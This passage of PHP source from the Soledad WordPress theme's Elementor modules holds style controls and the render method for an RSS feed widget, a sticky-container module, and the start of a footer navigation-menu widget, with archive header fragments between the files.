			'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .pcsl-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'heading_pcat', array(
			'label'     => __( 'Feed Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'cat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		$this->add_control( 'heading_ptitle', array(
			'label'     => __( 'Feed Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
		) );

		$this->add_control( 'heading_date', array(
			'label'     => __( 'Feed Date ( for "Creative List" layout )', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-hdate .pcsl-date span' => 'color: {{VALUE}};' ),
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'date_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsl-hdate .pcsl-date span',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'heading_meta', array(
			'label'     => __( 'Feed Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .grid-post-box-meta',
		) );

		$this->add_control( 'heading_excerpt', array(
			'label'     => __( 'Feed Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array( '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_rm', array(
			'label'     => __( 'Read More Button', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_responsive_control( 'rm_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle!' => 'text' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_borders', array(
			'label'      => __( 'Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_radius', array(
			'label'      => __( 'Button Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'rm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn',
		) );

		$this->add_control( 'rm_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbdcolor', array(
			'label'     => __( 'Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_responsive_control( 'meta_space', array(
			'label'     => __( 'Feed Meta Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .grid-post-box-meta' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'excerpt_space', array(
			'label'     => __( 'Feed Excerpt Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'rm_space', array(
			'label'     => __( 'Read More Button Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => array( 'show_readmore' => 'yes' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-readmore' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		require_once PENCI_SOLEDAD_DIR . '/inc/simple_pie.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/rss_feed.php';
		$settings      = $this->get_settings();
		$fallback_img  = $settings['item-fallback-thumb'];
		$hide_meta     = $settings['cus-hide-meta'];
		$hide_title    = $settings['item-display-title'];
		$multiple_meta = $settings['cus-multiple-meta'];

		// Layout
		$display_source = $settings['source'];
		$feed_settings  = array(
			'feeds'             => $settings['feeds'],
			'max'               => $settings['max'],
			'target'            => $settings['target'],
			'title'             => $settings['title'],
			'meta'              => is_array( $settings['meta'] ) ? implode(',', $settings['meta']) : '',
			'summary'           => $settings['summary'],
			'summarylength'     => $settings['summarylength'],
			'thumb'             => $settings['thumb'],
			'default'           => ! empty( $fallback_img['url'] ) ? $fallback_img['url'] : '',
			'keywords_title'    => $settings['keywords_title'],
			'keywords_inc_on'   => $settings['keywords_inc_on'],
			'keywords_ban'      => $settings['keywords_ban'],
			'keywords_exc_on'   => $settings['keywords_exc_on'],
			'error_empty'       => $settings['error_empty'],
			'sort'              => $settings['sort'],
			'refresh'           => $settings['refresh'],
			'follow'            => $settings['follow'],
			'offset'            => $settings['offset'],
			'from_datetime'     => $settings['from_datetime'],
			'to_datetime'       => $settings['to_datetime'],
			'multiple_meta'     => $display_source ? 'source' : '',
			'type'              => $settings['type'] ? $settings['type'] : '',
			'date_pos'          => isset( $settings['date_pos'] ) ? $settings['date_pos'] : 'left',
			'column'            => $settings['column'] ? $settings['column'] : '3',
			'tab_column'        => $settings['tab_column'] ? $settings['tab_column'] : '2',
			'mb_column'         => $settings['mb_column'] ? $settings['mb_column'] : '1',
			'imgpos'            => isset( $settings['imgpos'] ) ? $settings['imgpos'] : 'left',
			'thumb_size_imgtop' => 'top' == $settings['imgpos'] ? 'penci-thumb' : 'penci-thumb-small',
			'title_length'      => isset( $settings['title_length'] ) ? $settings['title_length'] : '',
			'excerpt_pos'       => $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below',
		);
		$feed_settings  = apply_filters( 'penci_rss_feed_widget_shortcode_attributes_filter', $feed_settings, array() );
		// Hide item meta.
		if ( empty( $hide_meta ) ) {
			unset( $feed_settings['meta'] );
		}
		// Hide item title.
		if ( empty( $hide_title ) || 'yes' !== $hide_title ) {
			$feed_settings['title'] = 0;
		}
		// Multiple meta.
		if ( ! empty( $multiple_meta ) ) {
			$feed_settings['multiple_meta'] = $multiple_meta;
		}
		$this->markup_block_title( $settings, $this );
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		echo \Penci_Rss_Feed::get_rss( $feed_settings );
	}
}PK     1w\Y=      3  elementor/modules/penci-sticky-container/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciStickyContainer;

use PenciSoledadElementor\Base\Module_Base;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Box_Shadow;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class Module extends Module_Base {

	public function __construct() {
		parent::__construct();
		$this->add_actions();
	}

	public function get_name() {
		return 'penci-sticky-container';
	}

	public function register_section( $element ) {
		$element->start_controls_section(
			'penci_sticky_container_section',
			[
				'label' => __( 'Penci Sticky Container', 'soledad' ),
				'tab'   => Controls_Manager::TAB_ADVANCED,
			]
		);
		$element->end_controls_section();
	}

	public function register_controls( $section, $args ) {

		$section->add_control(
			'sticky_container_on',
			[
				'label'        => esc_html__( 'Enable Sticky', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'description'  => esc_html__( 'Set sticky options by enable this option. Note: If you use this sticky, please avoid the Elementor Pro sticky feature. So as not to conflict.', 'soledad' ),
			]
		);

		$section->add_control(
			'sticky_container_offset',
			[
				'label'     => esc_html__( 'Offset', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
				],
				'condition' => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_control(
			'sticky_container_active_bg',
			[
				'label'     => esc_html__( 'Active Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}}.pencisctn-sticky.pencisctn-active' => 'background-color: {{VALUE}};',
				],
				'condition' => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_responsive_control(
			'sticky_container_active_padding',
			[
				'label'      => esc_html__( 'Active Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}}.pencisctn-sticky.pencisctn-active' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'label'     => esc_html__( 'Active Box Shadow', 'soledad' ),
				'name'      => 'sticky_container_active_shadow',
				'selector'  => '{{WRAPPER}}.pencisctn-sticky.pencisctn-active',
				'condition' => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		// $section->add_control(
		// 	'sticky_container_animation',
		// 	[
		// 		'label'     => esc_html__( 'Animation', 'soledad' ),
		// 		'type'      => Controls_Manager::SELECT,
		// 		'options'   => [ 
        //             ''                    => esc_html__( 'None', 'soledad' ),
        //             'fade'                => esc_html__( 'Fade', 'soledad' ),
        //             'slide-top'           => esc_html__( 'Slide Top', 'soledad' ),
        //             'slide-bottom'        => esc_html__( 'Slide Bottom', 'soledad' ),
        //             'slide-top-small'     => esc_html__( 'Slide Top Small', 'soledad' ),
        //             'slide-bottom-small'  => esc_html__( 'Slide Bottom Small', 'soledad' ),
        //             'slide-top-medium'    => esc_html__( 'Slide Top Medium', 'soledad' ),
        //         ],
		// 		'condition' => [
		// 			'sticky_container_on' => 'yes',
		// 		],
		// 	]
		// );

		$section->add_control(
			'sticky_container_bottom',
			[
				'label'       => esc_html__( 'Scroll Until', 'soledad' ),
				'description' => esc_html__( 'If you don\'t want to scroll after specific section so set that section ID/CLASS here. for example: #section1 or .section1 it\'s support ID/CLASS', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_control(
			'sticky_container_on_scroll_up',
			[
				'label'        => esc_html__( 'Sticky on Scroll Up', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'description'  => esc_html__( 'Set sticky options when you scroll up your mouse.', 'soledad' ),
				'condition'    => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		// $section->add_control(
		// 	'sticky_container_position',
		// 	[
		// 		'label'       => esc_html__( 'Position', 'soledad' ),
		// 		'description' => esc_html__( 'By default, the element sticks to the top of the viewport. You can set the position option to use a different position.', 'soledad' ),
		// 		'type'        => Controls_Manager::SELECT,
		// 		'default'     => 'header',
		// 		'options'     => [
		// 			'header'	 => 'Header',
		// 			'footer'   	  => 'Footer',
		// 		],
		// 		'condition'   => [
		// 			'sticky_container_on' => 'yes',
		// 		],
		// 	]
		// );

		$section->add_control(
			'sticky_container_zindex',
			[
				'label'     => esc_html__( 'Z-Index', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'min'       => - 1000,
				'max'       => 9999,
				'condition' => [
					'sticky_container_on' => 'yes',
				],
				'selectors' => [
					'{{WRAPPER}}.pencisctn-sticky.pencisctn-active' => 'z-index: {{VALUE}};',
				],
			]
		);

		$section->add_control(
			'sticky_container_disable_tablet',
			[
				'label'     => __( 'Turn Off on Tablet', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'sticky_container_on' => 'yes',
				],
				'separator' => 'before',
			]
		);


		$section->add_control(
			'sticky_container_disable_mobile',
			[
				'label'     => __( 'Turn Off on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'sticky_container_on' => 'yes',
				],
				'separator' => 'before',
			]
		);

	}


	public function sticky_before_render( $section ) {
		$settings = $section->get_settings_for_display();
		if ( ! empty( $settings['sticky_container_on'] ) == 'yes' ) {
			$sticky_option = [];
			if ( ! empty( $settings['sticky_container_on_scroll_up'] ) ) {
				$section->add_render_attribute( '_wrapper', 'class', 'pencisctn-scrollup' );
			}

			if ( ! empty( $settings['sticky_container_offset']['size'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-offset', $settings['sticky_container_offset']['size'] );
			}

			if ( ! empty( $settings['sticky_container_disable_tablet'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-tablet', $settings['sticky_container_off_media'] );
			}
			
			if ( ! empty( $settings['sticky_container_disable_mobile'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-mobile', $settings['sticky_container_disable_mobile'] );
			}
			
			if ( ! empty( $settings['sticky_container_bottom'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-stop', $settings['sticky_container_bottom'] );
			}

			$section->add_render_attribute( '_wrapper', 'data-pencisctn-sticky', implode( ";", $sticky_option ) );
			$section->add_render_attribute( '_wrapper', 'class', 'pencisctn-sticky' );
		}
	}

	public function sticky_script_render( $section ) {

		if ( $section->get_settings( 'sticky_container_on' ) == 'yes' ) {
			wp_enqueue_script( 'penci-sticky-container' );
		}

	}

	protected function add_actions() {

		add_action( 'elementor/element/section/section_advanced/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/section/penci_sticky_container_section/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/frontend/section/before_render', [ $this, 'sticky_before_render' ], 10, 1 );
		add_action( 'elementor/frontend/section/after_render', [ $this, 'sticky_script_render' ], 10, 1 );


		add_action( 'elementor/element/container/section_layout/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/container/penci_sticky_container_section/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/frontend/container/before_render', [ $this, 'sticky_before_render' ], 10, 1 );
		add_action( 'elementor/frontend/container/after_render', [ $this, 'sticky_script_render' ], 10, 1 );

	}
}PK     1w\(9r&  &  1  elementor/modules/penci-footer-navmenu/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFooterNavmenu;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-footer-navmenu';
	}

	public function get_widgets() {
		return array( 'PenciFooterNavmenu' );
	}
}
PK     1w\7m )   )  G  elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFooterNavmenu\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciFooterNavmenu extends Base_Widget {
	public function get_name() {
		return 'penci-footer-navmenu';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Footer Nav Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-form-vertical';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'menu', 'footer', 'builder', 'nav' );
	}
	
	private function get_available_menus() {
		$menus = wp_get_nav_menus();

		$options = [];

		foreach ( $menus as $menu ) {
			$options[ $menu->slug ] = $menu->name;
		}

		return $options;
	}

	protected function register_controls() {
		

		// Section general
		$this->start_controls_section(
			'section_type', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		
		$menus = $this->get_available_menus();

		if ( ! empty( $menus ) ) {
			$this->add_control(
				'menu',
				[
					'label' => __( 'Menu', 'soledad' ),
					'type' => Controls_Manager::SELECT,
					'options' => $menus,
					'default' => array_keys( $menus )[0],
					'save_default' => true,
					'separator' => 'after',
					'description' => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to manage your menus. Please note that: The Footer Nav Menu does not support showing sub-menu items. All sub-menus will be hidden.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
				]
			);
		} else {
			$this->add_control(
				'menu',
				[
					'type' => Controls_Manager::RAW_HTML,
					'raw' => '<strong>' . __( 'There are no menus in your site.', 'soledad' ) . '</strong><br>' . sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to create one.', 'soledad' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ),
					'separator' => 'after',
					'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
				]
			);
		}
		
		$this->add_responsive_control(
			'align_items',
			[
				'label' => __( 'Align', 'soledad' ),
				'type' => Controls_Manager::CHOOSE,
				'options' => [
					'left' => [
						'title' => __( 'Left', 'soledad' ),
						'icon' => 'eicon-h-align-left',
					],
					'center' => [
						'title' => __( 'Center', 'soledad' ),
						'icon' => 'eicon-h-align-center',
					],
					'right' => [
						'title' => __( 'Right', 'soledad' ),
						'icon' => 'eicon-h-align-right',
					],
				],
				'selectors'   => array(
					'{{WRAPPER}} .pcfooter-navmenu .pcfoot-navmenu' => 'text-align: {{VALUE}}'
				)
			]
		);
		
		
		$this->add_control(
			'separator',
			array(
				'label'   => __( 'Separator Between Menu Items', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'none'   => 'None',
					'verline'   => 'Vertical Line',
					'slash'   => 'Slash Line',
					'dslash'   => 'Double Slash',
					'circle'   => 'Circle',
				),
				'default' => 'none',
			)
		);
		
		$this->add_responsive_control(
			'separator_height', array(
				'label'     => __( 'Separator Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 50 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcfooter-navmenu' => '--pcfnmn-spea-height: {{SIZE}}px;',
				),
				'condition' => array( 'separator' => array( 'verline', 'slash', 'dslash' ) ),
			)
		);
		
		$this->add_responsive_control(
			'separator_cheight', array(
				'label'     => __( 'CirCle Separator Width & Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 50 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcfooter-navmenu' => '--pcfnmn-cirspea-h: {{SIZE}}px;',
				),
				'condition' => array( 'separator' => array( 'circle' ) ),
			)
		);
		
		$this->add_responsive_control(
			'item_space', array(
				'label'     => __( 'Spacing Between Menu Items', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcfooter-navmenu' => '--pcfnmn-space: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Footer Nav Menu', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcfooter-navmenu li a',
			)
		);
		
		$this->add_control(
			'color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfooter-navmenu li a' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'hcolor',
			array(
				'label'     => __( 'Hover & Active Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfooter-navmenu li a:hover, {{WRAPPER}} .pcfooter-navmenu li.current-menu-item a' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'sepacolor',
			array(
				'label'     => __( 'Separator Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 
					'{{WRAPPER}} .pcfoot-navmenu > li:after' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .pcfnm-sepa-circle .pcfoot-navmenu > li:after' => 'background-color: {{VALUE}};'
				),
				'condition' => array( 'separator!' => 'none' ),
			)
		);
		
		$this->add_control(
			'addbg', array(
				'label'        => __( 'Add Background for Menu Items?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'bgcolor',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li a' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'addbg' => 'yes' ),
			)
		);
		
		$this->add_control(
			'hbgcolor',
			array(
				'label'     => __( 'Hover & Active Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'addbg' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li a:hover, {{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li.current-menu-item a' => 'background-color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'addborders', array(
				'label'        => __( 'Add Borders for Menu Items?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'separator' => 'before',
			)
		);
		
		$this->add_responsive_control(
			'items_bwidth', array(
				'label'      => __( 'Custom Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
				'condition' => array( 'addborders' => 'yes' ),
			)
		);
		
		$this->add_control(
			'borderscolor',
			array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addborders' => 'yes' ),
			)
		);
		
		$this->add_control(
			'hborderscolor',
			array(
				'label'     => __( 'Hover & Active Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
